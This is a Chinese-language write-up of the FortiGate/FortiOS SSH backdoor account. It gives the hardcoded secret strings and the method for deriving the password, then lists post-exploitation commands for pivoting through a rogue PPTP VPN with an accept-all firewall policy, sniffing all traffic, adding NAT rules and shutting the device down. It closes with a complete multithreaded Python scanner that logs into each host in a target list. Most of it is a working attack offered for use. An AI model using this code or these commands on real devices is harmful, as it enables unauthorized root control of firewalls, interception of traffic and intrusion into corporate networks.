漏洞概要

    FortiiGate网络安全平台是由Fortinet(飞塔)公司推出的网络防火墙产品,包括高性能数据中心防火墙和NGFW(下一代防火墙)以及UTM( 统一威胁管理)。这次暴出来的是一个ssh后门,攻击者能利用此后门直接获取Fortigate最高管理权限,可以控制设备进行比如抓取流量监听,dns欺骗,建立隧道进入企业内网等攻击行为。

 

影响范围

FortiOS 4.3.0-4.3.16   

FortiOS 5.0.0-5.0.7

 

漏洞分析

     这个后门采用了质疑/应答身份认证模式:

1、  客户端向服务器发送一个验证请求,如:ssh Fortimanager_Access@ 1.1.1.1

2、  服务器接到此请求后生成一个随机数传输给客户端(此为质疑)。

3、  客户端将接收到的随机数当密钥结合自己所持的字符串计算就能得到密码(此为应答)。

 

POC流程分析

该设备的SSH登陆方式采用交互式验证,POC流程分解如下:

1、  客户端发起ssh连接请求。

2、  服务端返回一个随机字符串。

3、  客户端获取这个随机字符串后结合本地所持有的字符串格式化为新串:

12字节的\x00字符+随机字符串+'FGTAbc11*xy+Qqz27'+ '\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70'

4、  使用SHA1算法计算上述字符串的摘要,记作digest.

5、  digest字符串前添加12字节的\x00字符后进行base64编码。

6、  在编码后的字符串前添加’AK1’字符。

7、  最后所得字符串为密码。

 

漏洞验证

质疑:

1.jpg

应答:

2.jpg

国内共检测出受影响的设备:

results.jpg

 

漏洞利用
 这个漏洞可以获取到防火墙的root权限,所有防火墙的操作都可以做,攻击者可以利用创建VPN的方式继续进行内网渗透,也可以使用防火墙自带的抓包功能监听流量。

1、查看系统状态
get system status

2、创建VPN,连接后可用nmap对内网进行扫描。
config vpn pptp
set status enable
set eip 192.168.200.100
set sip 192.168.200.1
set usrgrp Guest-group
end
config user local
edit "guest"
set type password
set passwd 123456
next
end
config user group
edit "Guest-group"
set profile "unfiltered"
set member "guest"
next
end
config firewall policy
edit 9
set srcintf "wan1"
set dstintf "internal"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ANY"
next
end

3、监听流量
diag sniffer packet any none 3 捕获所有接口的数据包

3、查看全局路由表
get router info routing-table all

4、查看DNS
show system dns

5、创建静态NAT
config firewall vip
edit "NAT_200.1.1.10"
set extip 200.1.1.10
set extintf "port1"
set mappedip 10.1.1.10 
next
end

6、关闭/重启设备
exec shutdown
exec reboot 

公网扫描代码:

 

import socket

import select

import sys

import paramiko

from paramiko.py3compat import u

import base64

import hashlib

import termios

import tty

import thread

import time

import threading

results_fd=''

threadCount=0

scanCount=0

mutex=thread.allocate_lock()

file_mutex=thread.allocate_lock()

def custom_handler(title, instructions, prompt_list):

    n = prompt_list[0][0]

    m = hashlib.sha1()

    m.update('\x00' * 12)

    m.update(n + 'FGTAbc11*xy+Qqz27')

    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')

    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())

    return [h]

def scan_host(targetIP):

    global file_mutex

    global results_fd

    client = paramiko.SSHClient()

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:

        client.connect(targetIP, username='', allow_agent=False, look_for_keys=False,timeout=5)

    except paramiko.ssh_exception.SSHException:

        #print "debug:connect error"

        pass

    trans = client.get_transport()

    try:

        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)

    except paramiko.ssh_exception.AuthenticationException:

        #print "debug:auth failed"

        pass

    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)

    chan = client.invoke_shell()

    oldtty = termios.tcgetattr(sys.stdin)

    try:

        tty.setraw(sys.stdin.fileno())

        tty.setcbreak(sys.stdin.fileno())

        chan.settimeout(0.0)

        r, w, e = select.select([chan, sys.stdin], [], [])

        if chan in r:

            try:

                x = u(chan.recv(1024))

                if len(x) == 0:

                    sys.stdout.write('\r\n*** EOF\r\n')

                sys.stdout.write(x)

                sys.stdout.flush()

                #available

                if file_mutex.acquire():

                    results_fd.seek(0,2)

                    results_fd.write(targetIP+"\n")

                    results_fd.flush()

                    file_mutex.release()

            except socket.timeout:

                #print "debug:socket timeout"

                pass

    finally:

        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)

def scan_thread(targetIP):

    global threadCount

    global mutex

    global scanCount

    #lock

    if mutex.acquire():

        threadCount+=1

        mutex.release()

    try:

        scan_host(targetIP)

    except:

        pass

    finally:

        if mutex.acquire():

            threadCount-=1

            scanCount+=1

            mutex.release()

    return

def main():

    global threadCount

    global results_fd

    global scanCount

    host_file=open("port22.txt","r")

    results_fd=open("fgt_ssh_backdoor.txt","wt")

    while True:

        readBuff=host_file.readline()

        if len(readBuff)<3:

            break

        targetIP=readBuff[:len(readBuff)-1]

        while threadCount>1000:

            pass

        threading.Thread(target=scan_thread, args=(targetIP,)).start()

        print "target:"+targetIP+"\t"+"thread count:"+str(threadCount)+"\tscan count:"+str(scanCount)

if __name__ == '__main__':

    main()